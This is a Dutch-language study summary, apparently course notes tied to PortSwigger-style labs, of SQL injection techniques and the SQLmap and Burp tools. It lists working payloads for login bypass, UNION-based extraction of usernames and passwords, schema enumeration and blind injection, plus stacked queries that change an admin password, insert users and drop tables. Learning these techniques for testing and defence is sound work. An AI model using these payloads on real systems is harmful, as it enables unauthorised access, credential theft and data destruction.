Skip to main content
In dit onderdeel ging het over input die in SQL-queries terechtkomt. De belangrijkste gevolgen waren data uitlezen, loginlogica manipuleren en database-informatie enumereren.

PortSwigger SQLi cheat sheet

Volledige payload-referentie per database-type.

In een oogopslag

Technieken in detail

  • Voeg een enkele quote ' (of ;) toe -> SQL-error = mogelijk kwetsbaar
  • Boolean-test: OR 1=1 (true) vs OR 1=2 (false) -> verschil = kwetsbaar
  • String vs numeric: string zit tussen '...' (uitbreken met '); numeric (?id=10) -> 10 AND 1=2
  • -- (met spatie!), /* */ of # becommentarieert de rest weg
Query: ... WHERE user='$u' AND password='$p'
  • In het username-veld: ' OR 1=1 -- -> password-check wordt comment
  • Gericht: administrator' -- of ' OR 1=1 LIMIT 1 --
  • Dubbele quotes: " OR "1"="1
Resultaten van een tweede query aan de output plakken. Zelfde aantal kolommen + compatibele types.
1

Aantal kolommen

' ORDER BY 1 -- , 2 -- , … tot een error. Of ' UNION SELECT NULL,NULL -- tot geen error.
2

String-kolom vinden

' UNION SELECT 'a',NULL,NULL -- -> schuif 'a' door tot ze zonder type-error toont.
3

Data ophalen

' UNION SELECT username,password FROM users -- Alles in 1 kolom: ' UNION SELECT NULL,username||'~'||password FROM users --
  • Versie: ' UNION SELECT @@version -- (MySQL/MSSQL) ; version() (Postgres) ; v$version (Oracle)
  • Tabellen: ' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='db' --
  • Kolommen: ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users' --
  • Update: '; UPDATE users SET password='123' WHERE username='Admin' --
  • Insert: '; INSERT INTO users (username,password) VALUES ('koenK','123') --
  • Drop: '; DROP TABLE access_log --
Geen data/error zichtbaar, alleen true/false-verschil.
  • Boolean: ... id=1 AND 1=1 (normaal) vs id=1 AND 1=2 (anders/leeg)
  • Char per char: ' OR substring(database(),1,1)='b' -- , ' OR length(database())=5 --
  • Traag -> automatiseer met SQLmap
  • NoSQL (MongoDB): injecteer logica -> ' || true || ' retourneert alle records
  • Second-order: input wordt veilig opgeslagen maar later onveilig hergebruikt

Inputlocaties en encoding

De SQL-logica is overal identiek. Wat verschilt: encoding en gereedschap.
Bij POST-velden werd de payload raw ingevoerd. De browser encodeert de request daarna zelf:
Valkuil: maxlength / type=number / JS-validatie -> onderschep met Burp.

SQLmap

Handige SQLmap parameters

Voor een Burp-request is dit meestal de properste start:
Soms is de tabel-/kolomnaam zelf de key. Daarom waren --tables en --columns belangrijk in de SQLmap-notities. --batch slaat interactieve vragen over.

Tools

SQLmap

Tool voor detectie, database-enumeratie en dumps.

Burp Suite

Handig om volledige requests te bewaren voor sqlmap -r.

Browser DevTools

Referentie voor errors, request parameters en responseverschillen.

PortSwigger SQLi cheat sheet

Payloads per database-type en aanvalsvorm.